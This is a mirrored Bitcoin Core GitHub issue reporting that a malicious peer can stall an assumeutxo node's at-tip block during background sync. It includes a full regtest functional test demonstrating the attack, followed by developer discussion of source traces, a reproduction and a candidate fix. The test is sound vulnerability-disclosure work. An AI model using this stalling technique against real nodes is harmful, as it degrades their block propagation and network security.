assumeutxo background sync allows stalling out at-tip sync for extended periods #36760

issue instagibbs opened this issue on November 4, 2026
  1. instagibbs commented at 5:10 PM on November 4, 2026: member

    Is there an existing issue for this?

    • I have searched the existing issues

    Current behaviour

    If the user is background syncing for assumeutxo, a malicious peer can announce a backlog of 15 historical blocks for the background sync, then ultimately offer the 16th in the window as the next at-tip block. The victim node requests one block at a time starting with the oldest. At this point, the peer can emit 1 historical block every 10(or greater with more in-flight blocks) minute, causing a block stall of the at-tip block far beyond 10 minutes.

    One thing to note is that during background sync, we aren't doing compact blocks or stale tip detection either, which can work around this gap otherwise.

    Expected behaviour

    The node should request the at-tip block promptly, ans disconnect from the peer after 10 minutes of not receiving the block.

    Steps to reproduce

    functional repro:

    #!/usr/bin/env python3
    # Copyright (c) 2026-present The Bitcoin Core developers
    # Distributed under the MIT software license, see the accompanying
    # file COPYING or http://www.opensource.org/licenses/mit-license.php.
    """Demonstrate that one inbound peer can stall an assumeutxo node's tip and background sync.
    
    While the background chainstate syncs:
    - historical block download has no staller detection;
    - a peer's block download timeout only watches its oldest in-flight block and is reset when that
      block is delivered;
    - no compact-block high-bandwidth peers are selected (BlockChecked requires nothing else in flight),
      so a new tip block is only fetched from the peer that announced it first.
    
    Peer A takes historical blocks, then announces a new block N first and gets the only request for
    it. By delivering just its oldest historical block every 9 minutes, A keeps N in flight: the tip
    stays behind while the honest peer has N and is never asked for it, and the background chainstate
    advances one block per round. A is only timed out once N is its oldest in-flight block.
    
    This test passes on master (the stall is asserted). A fix should make the asserts in the attack
    loop fail: A disconnected (or N fetched elsewhere) within the first round.
    """
    import time
    
    from test_framework.messages import (
        CBlock,
        MSG_BLOCK,
        MSG_WITNESS_FLAG,
        from_hex,
        msg_block,
        msg_headers,
    )
    from test_framework.p2p import P2PInterface, p2p_lock
    from test_framework.test_framework import BitcoinTestFramework
    from test_framework.util import assert_equal
    from test_framework.wallet import MiniWallet
    
    SNAPSHOT_BASE_HEIGHT = 299
    ROUND = 9 * 60  # under the 10 minute block download timeout
    
    
    class HoldingPeer(P2PInterface):
        def __init__(self):
            super().__init__()
            self.requested = []  # block hashes in request order
    
        def on_getdata(self, message):
            self.requested += [i.hash for i in message.inv if i.type & ~MSG_WITNESS_FLAG == MSG_BLOCK]
    
        def on_inv(self, message):
            pass
    
    
    class AssumeutxoStallTest(BitcoinTestFramework):
        def set_test_params(self):
            """node0: honest full node. node1: assumeutxo node. node2: miner, only ever connected to node0."""
            self.num_nodes = 3
            self.rpc_timeout = 120
    
        def setup_network(self):
            self.add_nodes(3)
            self.start_nodes()
    
        def block(self, node, blockhash):
            return from_hex(CBlock(), node.getblock(blockhash if isinstance(blockhash, str) else f"{blockhash:064x}", 0))
    
        def header(self, node, blockhash):
            b = self.block(node, blockhash)
            b.vtx = []
            return b
    
        def background_tip(self):
            chainstates = self.nodes[1].getchainstates()["chainstates"]
            return chainstates[0]["blocks"] if len(chainstates) == 2 else None
    
        def run_test(self):
            n0, n1, n2 = self.nodes
    
            self.log.info("Build the regtest snapshot chain (same recipe as feature_assumeutxo.py)")
            wallet = MiniWallet(n0)
            mocktime = n0.getblockheader(n0.getbestblockhash())["time"]
            for n in self.nodes:
                n.setmocktime(mocktime)
            for i in range(100):
                if i % 3 == 0:
                    wallet.send_self_transfer(from_node=n0)
                self.generate(n0, nblocks=1, sync_fun=self.no_op)
                if i == 4:
                    # Create a stale block so the snapshot chain matches chainparams.
                    tip = n0.getbestblockhash()
                    n0.invalidateblock(tip)
                    stale = self.generateblock(n0, output="raw(aaaa)", transactions=[], sync_fun=self.no_op)["hash"]
                    n0.invalidateblock(stale)
                    n0.reconsiderblock(tip)
            assert_equal(n0.getblockcount(), SNAPSHOT_BASE_HEIGHT)
            snapshot = n0.dumptxoutset("utxos.dat", "latest")
            self.generate(n0, nblocks=60, sync_fun=self.no_op)
            tip_height = n0.getblockcount()
    
            self.log.info("node1 loads the snapshot and syncs the snapshot chain to the tip")
            for h in range(1, tip_height + 1):
                n1.submitheader(n0.getblock(n0.getblockhash(h), 0))
            assert_equal(n1.loadtxoutset(snapshot["path"])["base_height"], SNAPSHOT_BASE_HEIGHT)
            for h in range(SNAPSHOT_BASE_HEIGHT + 1, tip_height + 1):
                n1.submitblock(n0.getblock(n0.getblockhash(h), 0))
            assert_equal(n1.getblockcount(), tip_height)
            assert_equal(self.background_tip(), 199)
            self.connect_nodes(2, 0)
            self.sync_blocks([n0, n2])
    
            self.log.info("Attacker A connects first and is given historical blocks")
            a = n1.add_p2p_connection(HoldingPeer())
            a.send_without_ping(msg_headers([self.header(n0, n0.getbestblockhash())]))
            self.wait_until(lambda: len(a.requested) >= 16)
            self.log.info("The honest peer node0 connects and downloads every other historical block")
            self.connect_nodes(1, 0)
            self.wait_until(lambda: all(n1.getblockheader(n0.getblockhash(h)).get("nTx", 0) > 0 for h in (216, SNAPSHOT_BASE_HEIGHT)))
            assert_equal(self.background_tip(), 199)  # 200 is held by A
    
            self.log.info("Normal tip following: node0 relays two blocks; node1 selects no high-bandwidth peer")
            self.generate(n0, 2, sync_fun=lambda: self.sync_blocks([n0, n1, n2]))
            assert not any(p["bip152_hb_to"] for p in n1.getpeerinfo())
    
            self.log.info("A frees one slot, then announces new block N first")
            with p2p_lock:
                last = a.requested.pop()
            a.send_without_ping(msg_block(self.block(n0, last)))
            self.disconnect_nodes(2, 0)
            N = self.generate(n2, 1, sync_fun=self.no_op)[0]
            a.send_without_ping(msg_headers([self.header(n2, N)]))
            self.wait_until(lambda: int(N, 16) in a.requested)
            n_height = n2.getblockcount()
            self.log.info("node0 learns N (and a later block) and announces them to node1")
            self.connect_nodes(2, 0)
            self.sync_blocks([n0, n2])
            self.generate(n0, 1, sync_fun=self.no_op)
            self.wait_until(lambda: n1.getblockheader(n0.getbestblockhash()).get("nTx", 0) > 0)  # N+1 stored
            with p2p_lock:
                held = len([h for h in a.requested if h != int(N, 16)])
            self.log.info(f"A holds N behind {held} historical blocks")
    
            self.log.info("Attack: A delivers only its oldest historical block every 9 minutes")
            start_bg = self.background_tip()
            t = max(n.getblockheader(n.getbestblockhash())["time"] for n in (n0, n1))
            for r in range(1, held + 1):
                for mid in (120, 240):  # let time pass inside the round so staller checks could fire
                    for n in self.nodes:
                        n.setmocktime(t + (r - 1) * ROUND + mid)
                    time.sleep(0.5)
                for n in self.nodes:
                    n.setmocktime(t + r * ROUND)
                with p2p_lock:
                    oldest = next(h for h in a.requested if h != int(N, 16))
                    a.requested.remove(oldest)
                a.send_without_ping(msg_block(self.block(n0, oldest)))
                a.sync_with_ping()
                assert a.is_connected
                assert_equal(n1.getblockcount(), n_height - 1)   # tip stuck below N
                assert_equal(n1.getbestblockhash(), n0.getblockhash(n_height - 1))
                assert n0.getblockcount() > n_height              # honest peer has N and more
                if r < held:
                    assert_equal(self.background_tip(), start_bg + r)  # background: one block per round
                else:
                    assert_equal(self.background_tip(), None)  # last held block: everything above was already stored
                self.log.info(f"+{r * 9} min: node1 tip {n1.getblockcount()} vs network {n0.getblockcount()}, "
                              f"background tip {self.background_tip()}, A still connected")
    
            self.log.info("N is now A's oldest in-flight block; withholding it finally trips the timeout")
            for n in self.nodes:
                n.setmocktime(t + (held + 2) * ROUND)
            a.wait_for_disconnect()
            self.wait_until(lambda: n1.getbestblockhash() == n0.getbestblockhash())
            self.log.info(f"Tip was stalled for about {held * 9} minutes while an honest peer had the block")
    
    
    if __name__ == "__main__":
        AssumeutxoStallTest(__file__).main()
    

    Relevant log output

    No response

    How did you obtain Bitcoin Core

    Compiled from source

    What version of Bitcoin Core are you using?

    master@6c01bd0b2dc201c21e80ac3635828abf854ee5a0

    Operating system and version

    Ubuntu

    Machine specifications

    No response

  2. l0rinc commented at 5:34 PM on November 4, 2026: contributor

    I also have many such findings, as mentioned before, I think the solution is either to replace background validation with the crowdsourced trust (see #36543) or completely remove AssumeUTXO (see #36598). Also worth mentioning the recent CoreDev discussions about the same topics (see https://btctranscripts.com/bitcoin-core-dev-tech/2026-10/assumeutxo).

  3. mzumsande commented at 6:10 PM on November 4, 2026: contributor

    if we keep AssumeUtxo, we should just enable compact blocks during background sync, so that we'd download the block from another peer in parallel. I think it was just an unintended oversight that this doesn't work, and it seems easy to fix.

  4. lmtlssss commented at 6:56 PM on November 4, 2026: none

    I traced this against Bitcoin Core master commit 94181c18e25436d5e4a2de2ff71714413b4552a2 in src/net_processing.cpp (blob f6e2c2e5359a304f69e69f0e3a5550d6ee6bc473).

    There are two separate gates in the current path:

    • PeerManagerImpl::BlockChecked selects a BIP152 high-bandwidth peer only when !IsInitialBlockDownload() and mapBlocksInFlight.count(hash) == mapBlocksInFlight.size(). During this reproduction, historical requests remain in flight. Removing only the IBD check still does not select the honest peer.
    • RemoveBlockRequest advances state.m_downloading_since when the front item is received. The timeout in SendMessages checks only state.vBlocksInFlight.front(). A peer can therefore deliver the next historical block just inside the timeout and keep a later at-tip block queued behind it.

    This makes the at-tip block age invisible to the current timeout. Enabling compact blocks during background sync may help only if the node can select another peer while historical requests remain in flight, or request the tip block through an independent path. A separate at-tip deadline or explicit priority for active-chain requests appears to target the liveness failure more directly.

    This is a source trace, not an independent reproduction or a fix claim. The negative controls for a native qualification are slow sequential history, no historical backlog, multiple eligible peers, a reorg while the tip block is in flight, and no alternate peer.

  5. lmtlssss commented at 8:34 PM on November 4, 2026: none

    Independent native reproduction completed against the exact Bitcoin Core source commit named in this issue: 6c01bd0b2dc201c21e80ac3635828abf854ee5a0.

    I ran the reporter's functional test unchanged on three real Bitcoin Core regtest nodes, with an AssumeUTXO snapshot, two P2P peers, and mock time. The exact source built bitcoind and bitcoin-cli. The test passed in two independent workflow runs on the same SC harness commit:

    Observed native result in both runs:

    • The victim's active-chain tip stayed at height 361 while the honest network had reached height 363.
    • The attacker held the requested active-tip block behind historical background blocks.
    • The attacker delivered one oldest historical block every 9 minutes of mock time and remained connected for all 15 rounds.
    • The background chainstate advanced one block per round, from height 200 through 213, then completed.
    • The active-chain tip remained stalled for about 135 minutes while the honest peer already had the block.
    • The attacker disconnected only after the held tip block became the oldest in-flight request; the victim then caught up.

    The earlier build and harness-registration failures are preserved in the SC repository. The successful runs use the direct BitcoinTestFramework entry point for the reporter-owned script. This is a native original-source reproduction, not a source-model result and not a candidate-fix claim.

    The source trace on current master 504aab70a08471fdb5f461e3b77aecaee5eab370 still shows the two relevant gates: high-bandwidth peer promotion is disabled during IBD and requires no other block in flight; the peer timeout observes only vBlocksInFlight.front(), with m_downloading_since reset when that front block is received.

    A useful repair should give the active-chain tip block independent progress or timeout tracking while preserving background-history throughput, peer fairness, and reorg behavior. Enabling compact blocks during background sync needs to be tested against the in-flight-map condition and the peer-selection path; removing only the IBD check does not address the second gate.

  6. lmtlssss commented at 10:49 PM on November 4, 2026: none

    Candidate differential on the exact reported Bitcoin Core source commit 6c01bd0b2dc201c21e80ac3635828abf854ee5a0 is now passing in native regtest.

    Candidate source patch is isolated in SC acceptance branch commit 9a43828111177b7a89321d67dcdbf87b7739ba85. Workflow: https://github.com/lmtlssss/sc-bitcoin-lightning-acceptance/actions/runs/41924410108

    Observed controls:

    • History-only negative control: with no active-tip block in flight, slow historical delivery at +9 minutes leaves the peer connected after 14 minutes.
    • Active-tip case: 14 historical requests remain in flight; the active-tip block is requested behind them; historical progress at +9 minutes does not refresh the tip request deadline.
    • At +16 minutes, the stalled peer disconnects. The honest peer then delivers the active-tip block. The victim reaches height 363 while the historical backlog remains held at 14 blocks.

    The proof-of-concept stores a request timestamp per queued block and applies the existing peer-count-compensated download timeout independently to a request whose parent is the current active-chain tip. This keeps the ordinary history-only slow-peer control intact.

    This is a candidate design, not an upstream-ready patch yet. Reorg handling, no-alternate-peer recovery, multi-peer fairness, and requalification on current master remain open gates. The original-source reproduction and its failed harness/build attempts remain preserved in the SC evidence repository.

  7. bitcoin blocked a user on Nov 4, 2026

github-metadata-mirror

This is a metadata mirror of the GitHub repository bitcoin/bitcoin. This site is not affiliated with GitHub. Content is generated from a GitHub metadata backup.
generated: 2026-11-13 23:51 UTC

This site is hosted by @0xB10C
More mirrored repositories can be found on mirror.b10c.me